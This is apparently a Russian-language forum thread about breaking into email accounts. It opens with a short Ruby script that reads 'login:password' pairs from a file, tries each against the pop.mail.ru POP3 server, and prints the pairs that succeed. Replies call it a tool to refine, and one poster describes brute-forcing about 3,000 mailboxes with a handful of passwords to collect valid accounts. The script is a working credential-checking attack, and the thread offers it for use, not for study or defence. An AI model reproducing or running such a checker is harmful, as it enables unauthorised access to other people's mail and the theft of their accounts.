require 'net/pop'
pop = Net::POP3.new('pop.mail.ru')
fsource = File.open("source.txt")
begin
while (value = fsource.readline)
begin
pop.start(value.split(":")[0],value.split(":")[1])
puts value
rescue Net::POPAuthenticationError => e
puts e.to_s
end
end
rescue EOFError
fsource.close
end
вот скриптик, на Руби , допилить напильником выйдет неплхо)) хотя ТС наврядли осилит.
Такая же проблема была. Но у меня было порядка 3к мыл и всего лишь 5-8 вариантов паролей. Я взял брут от genom выдрал из списка мыла и засунул их в отдельный файл. Пароли тоже записал в отдельный файл. В результаты он каждое мыло проверял не на один пароль а на все. Но на выходе я получил файлик в виде валидных mailas